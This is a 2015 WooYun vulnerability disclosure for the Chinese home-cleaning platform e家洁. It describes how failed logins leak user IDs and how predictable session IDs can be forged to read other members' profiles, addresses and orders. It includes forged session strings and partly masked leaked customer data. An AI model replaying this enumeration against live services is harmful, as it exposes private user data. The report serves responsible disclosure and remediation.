当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0136221

漏洞标题:e家洁存在严重安全漏洞可导致所有会员泄密

相关厂商:1jiajie.com

漏洞作者: Budi

提交时间:2015-09-09 19:27

修复时间:2015-10-25 20:34

公开时间:2015-10-25 20:34

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-09: 细节已通知厂商并且等待厂商处理中
2015-09-10: 厂商已经确认,细节仅向厂商公开
2015-09-20: 细节向核心白帽子及相关领域专家公开
2015-09-30: 细节向普通白帽子公开
2015-10-10: 细节向实习白帽子公开
2015-10-25: 细节向公众公开

简要描述:

e家洁的Session设置存在严重安全漏洞,可导致所有会员泄密

详细说明:

1、首先我们先了解一下e家洁是干什么的呢,原来是一家线上家政服务公司,且盛大和腾讯投资的,看来有点来头

1.png


2、首先用自己的账号和错误的密码登录,下面是登录的请求报文和响应报文

2.png


从下面的响应报文可以发现,虽然登录失败,但报文里返回了两个奇怪自段old_user_id和new_user_id,这个两个字段有什么用处呢,稍后你就明白了
3、用自己的账号和正确的密码登录,并抓取其请求报文如下:

11.png


4、尝试查询自己的个人信息、历史订单、地址信息,由此可以推断出系统工具session_id区分客户的

3.png

漏洞证明:

根据以上session_id=dfc904a70bcc646e425617b695a7378d-47796448,可以发现Session的最后是一个数字串就是new_user_id字段,由此我们可以尝试以下攻击,
第一步:使用任意手机号尝试登录,虽然登录失败,但服务器返回了new_user_id字段,因此可以所有会员的new_user_id字段
第二步:伪造Session,获取其他会员的个人信息
1、使用任意手机号尝试登录,获取其他会员的new_user_id
(1)尝试手机号189××××8××4,获取new_user_id=48182262

4.png


(2)尝试土豪手机号18×××××××××,获取new_user_id=14512

5.png


4、伪造Session,获取其他会员的个人信息
(1)使用session_id=dfc904a70bcc646e425617b695a7378d-48182262获取会员的个人信息

6.png


(2)使用session_id=dfc904a70bcc646e425617b695a7378d-14152获取会员的个人信息

7.png


(3)使用session_id=dfc904a70bcc646e425617b695a7378d-48182262获取会员的地址信息

8.png


Unicode转中文为:
{"code":"ok","msg":{"address":[{"city":"北京","latitude":"39.884578","longitude":"116.624272","street":"北京东旭花园","place_detail":"×单元×01","address":"北京东旭花园×单元×01","address_id":"1629979"}],"alertMsg":""}}
(4)使用session_id=dfc904a70bcc646e425617b695a7378d-14152获取会员的地址信息

9.png


(5)使用session_id=dfc904a70bcc646e425617b695a7378d-48182262获取会员的订单信息

10.png


(6)使用session_id=dfc904a70bcc646e425617b695a7378d-14152获取会员的个人订单信息

12.png


Unicode转中文为:
{"code":"ok","msg":{"orderList":[{"extend_info":"没有特殊需求","id":"221674","service_type":"4","place_detail":"北京中南海","reserve_time":"2014-04-19 08:00","status":"-1","worker_list":"","create_time":"2014-04-13 15:39:35","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"网站预约","order_id":"221674","service_main":"专业保洁","service_second":"卫生间保洁","create_way":"","sub_order":[],"order_status":["2014-04-13 15:39 订单已取消"],"complain_status":["2015-04-28 17:48:48 投诉成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""},{"extend_info":"没有特殊需求","id":"90078","service_type":"1","place_detail":"朝阳湖","reserve_time":"2013-11-21 07:00","status":"-1","worker_list":"","create_time":"2013-11-16 08:22:02","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"苹果app","order_id":"90078","service_main":"专业保洁","service_second":"家庭保洁","create_way":"","sub_order":[],"order_status":["2013-11-16 08:22 订单已取消"],"complain_status":["2015-04-28 17:48:48 投诉成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""},{"extend_info":"没有特殊需求","id":"90077","service_type":"1","place_detail":"朝阳湖","reserve_time":"2013-11-18 07:00","status":"-1","worker_list":"","create_time":"2013-11-16 08:21:38","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"苹果app","order_id":"90077","service_main":"专业保洁","service_second":"家庭保洁","create_way":"","sub_order":[],"order_status":["2013-11-16 08:21 订单已取消"],"complain_status":["2015-04-28 17:48:48 投诉成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""},{"extend_info":"没有特殊需求","id":"90076","service_type":"1","place_detail":"朝阳湖","reserve_time":"2013-11-18 07:00","status":"-1","worker_list":"","create_time":"2013-11-16 08:20:51","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"苹果app","order_id":"90076","service_main":"专业保洁","service_second":"家庭保洁","create_way":"","sub_order":[],"order_status":["2013-11-16 08:20 订单已取消"],"complain_status":["2015-04-28 17:48:48 投诉成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""},{"extend_info":"没有特殊需求","id":"90074","service_type":"1","place_detail":"朝阳湖","reserve_time":"2013-11-16 10:30","status":"-1","worker_list":"","create_time":"2013-11-16 08:19:02","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"苹果app","order_id":"90074","service_main":"专业保洁","service_second":"家庭保洁","create_way":"","sub_order":[],"order_status":["2013-11-16 08:19 订单已取消"],"complain_status":["2015-04-28 17:48:48 投诉成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""},{"extend_info":"没有特殊需求","id":"90071","service_type":"1","place_detail":"朝阳湖","reserve_time":"2013-11-16 10:30","status":"-1","worker_list":"","create_time":"2013-11-16 08:16:12","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"苹果app","order_id":"90071","service_main":"专业保洁","service_second":"家庭保洁","create_way":"","sub_order":[],"order_status":["2013-11-16 08:16 订单已取消"],"complain_status":["2015-04-28 17:48:48 投诉成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""},{"extend_info":"没有特殊需求","id":"90069","service_type":"1","place_detail":"朝阳湖","reserve_time":"2013-11-21 07:00","status":"-1","worker_list":"","create_time":"2013-11-16 08:14:49","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"苹果app","order_id":"90069","service_main":"专业保洁","service_second":"家庭保洁","create_way":"","sub_order":[],"order_status":["2013-11-16 08:14 订单已取消"],"complain_status":["2015-04-28 17:48:48 投诉成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""},{"extend_info":"客户号码空号","id":"63452","service_type":"1","place_detail":"朝阳湖","reserve_time":"2013-11-17 07:00","status":"-1","worker_list":"","create_time":"2013-11-15 10:03:28","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"苹果app","order_id":"63452","service_main":"专业保洁","service_second":"家庭保洁","create_way":"","sub_order":[],"order_status":["2013-11-15 10:03 订单已取消"],"complain_status":["2015-04-28 17:48:48 投诉成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""},{"extend_info":"已发短信,超出服务区","id":"16031","service_type":"2","place_detail":"朝阳湖","reserve_time":"2013-10-17 13:00","status":"-1","worker_list":"","create_time":"2013-10-16 05:02:50","user_id":"14512","is_paid":"1","active_code_id":"0","charge_reward_id":"0","reserve_type_id":"0","pop_channel":"苹果app","order_id":"16031","service_main":"专业保洁","service_second":"新居开荒","create_way":"","sub_order":[],"order_status":["2013-10-16 05:02 订单已取消"],"complain_status":["2015-04-28 17:48:48 投诉成功"],"active_code":"","active_code_value":"0","suggest_worked_time":""}],"workerList":[],"alertMsg":"","pageNum":"1","totalPage":"1","totalNum":"9"}}
保洁还去中南海。。。。

修复方案:

其实系统还存在另外一个问题,那就是不管什么时候登录,Session都一样
1、不要使用可以推断出来的Session
2、系统不管该会员什么时候登录,均使用同一个Session

版权声明:转载请注明来源 Budi@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2015-09-10 20:33

厂商回复:

多谢发现者

最新状态:

2015-09-14:能帮助测试一下吗,已经修改了


漏洞评价:

评论

  1. 2015-09-10 16:16 | 海绵君 ( 路人 | Rank:9 漏洞数:2 )

    @XSSER https://www.vulbox.com/bugs/vulbox-2015-010824 好巧

  2. 2015-09-10 21:29 | 小人物Reno ( 普通白帽子 | Rank:477 漏洞数:112 | X)

    @北京新车云技术有限公司麻烦确认下 WooYun: e家洁某处导致全网各种信息侧漏

  3. 2015-10-27 17:03 | BMa ( 普通白帽子 | Rank:1811 漏洞数:202 )

    @Budi 大厂商?

  4. 2015-10-29 15:04 | Budi ( 实习白帽子 | Rank:65 漏洞数:10 | 希望能成为一个合格的白帽子,不断完善自己...)

    @BMa NO